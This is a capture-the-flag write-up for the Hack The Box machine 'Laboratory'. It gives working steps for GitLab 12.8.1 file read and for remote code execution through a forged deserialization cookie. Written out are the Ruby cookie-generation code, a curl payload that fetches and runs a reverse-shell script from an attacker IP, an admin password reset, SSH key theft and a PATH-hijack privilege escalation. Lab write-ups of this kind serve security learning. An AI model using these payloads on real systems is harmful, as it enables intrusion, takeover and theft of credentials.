HTB Laboratory
HTB: Laboratory
Initial Recon
sudo nmap -sS -sV -sC 10.10.10.216 > rec_ini
From the initial port scan, it seems that there 3 ports open :
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-07 18:42 IST
Nmap scan report for 10.10.10.216
Host is up (0.21s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.25 seconds
- The ssh port is open
- The http port is running a webserver which redirects to
https://laboratory.htb
- The ssl server is running at port 443
So I added laboratory.htb
to the /etc/hosts
file.
After visiting the home page, I found out that it has an html index page but uses its own cerificate which I downloaded.
From the certificate I found another Domain name : git.laboratory.htb
. We’ll add this one too, to our /etc/hosts
file.
Directory Brute forcing
Now I tried brute forcing laboratory.htb
.
gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k -x html, txt
To check for any files with extensions like html or txt.
But I wasn’t able to find anything interesting apart from the usual files. So I moved on to git.laboratory.htb
.
Checking the other domain
This directly lands us to user sign in.
Since I don’t have any credentials, what I can do is register a new user and login to it.
babachodaOP : dadurbichi@laboratory.htb : dadurbichiphulkoluchi
Emails with any other domains than laboratory.htb
was not accepted. So I used an email with domain laboratory.htb
.
After signing in, if we go to the help and check the version for GitLab we get the following :
It is the version 12.8.1.
Looking for RCE for this version, I found one POC exploit which didn’t work. So I looked and found another reference to a bug bounty writeup : GitLab Arbitrary File Read.
After that I found the POC exploit for this vulnerability : https://github.com/thewhiteh4t/cve-2020-10977
Usage :
python3 cve_2020_10977.py
usage: cve_2020_10977.py [-h] url username password
cve_2020_10977.py: error: the following arguments are required: url, username, password
Here I was able to successfully read the /etc/passwd
file. However, as I thought I would be able to read the ssh key for the user, but it has separate user for gitlab.
According to the post on hackerone, it is said that this vulnerability can be changed to RCE as well.
- We need to grab the
secret_key_base
from/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
using the arbitrary file read vulnerability.
So I copied the secrets.yml
file.
- Then we need to install our own gitlab on our local machine and replace this
secrets.yml
file with our local one.
I used the following command to download this particular version :
wget --content-disposition https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/bionic/gitlab-ce_12.8.1-ce.0_amd64.deb/download.deb
Use sudo dpkg -i gitlab-ce_12.8.1-ce.0_amd64.deb
to install this particular version of gitlab.
- By default, you will not have a separate
secrets.yml
file. You need to use :
gitlab-ctl reconfigure
To generate one such file. After generating a secrets.yml
file, replace the value of secret_key_base
variable with the one you found from the targets gitlab instance.
This file will be located in /var/opt/gitlab/gitlab-rails/etc
. After changing this variable, restart your github instance.
gitlab-ctl restart
Make sure to have root privileges.
Then start a gitlab-rails console:
gitlab-rails console
With root privileges.
- User the following commands to generate a cookie. This cookie will allow us to create a file at the target machine. This can act as a POC that our RCE is working.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo dadurbichi > /tmp/torbaap` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
After the cookie is generated, use the following curl command to send the request.
curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIGRhZHVyYmljaGkgPiAvdG1wL3RvcmJhYXBgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--934780ea72a07d98d06776024732e6ca89228e7c" -k
Replace the cookie with the one you have generated. And then use the previous exploit to check if the file that you wanted to create is there on the target machine or not.
- Now since, we are able to create a file on the target machine, we can try to upload and execute a reverse shell.
Start a http server on your loacl machine, and use the following commands to generate a new cookie :
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl http://10.10.14.86:8000/revshell.sh -o /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
This will download the revshell.sh
file from own local machine to the target machine.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
In the next request I’ll execute the shell script , in order to get a reverse shell from that target machine.
Here we see, that there is a shell as the user git
.
User Flag
Now I uploaded linpeas for enumeration. From the enumeration it seems that we are inside a docker container right now. So we need to escape from the container.
Here it says that gitlab-rails was found and it is trying to dump users. So, we can use gitlab-rails to get the users and maybe the passwords as well
.
We can see that the users created by us are stored in the gitlab instance with different ids.
However the user at id=1
seems to be the admin and is the user dexter
. However the passwords are encrypted.
Here : https://docs.gitlab.com/ee/security/reset_user_password.html
we can see that it is possible to reset the user password using gitlab-rails console.
It seems that we can view all the users, but we won’t be able to view their passwords. So we need to do the password reset as the only option.
- Store the user object in a variable, by find the user using user id :
user = User.find(1)
user = User.find(1)
#<User id:1 @dexter>
- Change the password parameter of the user :
user.password = 'dadurbichi'
user.password = 'dadurbichi'
"dadurbichi"
- Confirm the password :
user.password_confirmation = 'dadurbichi'
user.password_confirmation = 'dadurbichi'
"dadurbichi"
- Save the changes at last :
user.save!
Now we can login as the user dexter
, in gitlab.
In the secure-docker
repository, there is the home folder for dexter and inside that there is the .ssh
folder with the private key. I downloaded the private key. Logging in as dexter using the private key will give me the user flag.
Root Privilege Escalation
After logging in as dexter
I ran linpeas. When I was looking for SUID binaries, I found out that there is a binary called docker-security
which can run by the user dexter as root.
However, I couldn’t find any information about this binary online, so I downloaded the binary to my local machine using scp and opened it up in radare2. Upon taking a look at the binary, it seems that it was made for this CTF by the author.
Taking a look at the main funciton, tells us that the binary, sets the UID and GUID to 0, and runs the binary docker
and the binary docker.sock
. But these two binaries are not available on the system. Since it is using the absolute paths for the these binaries, we cannot hijack their paths.
But we can try to hijack the path of chmod
. Since this command is executed as the root.
Now running the docker-security
binary will give me the root user.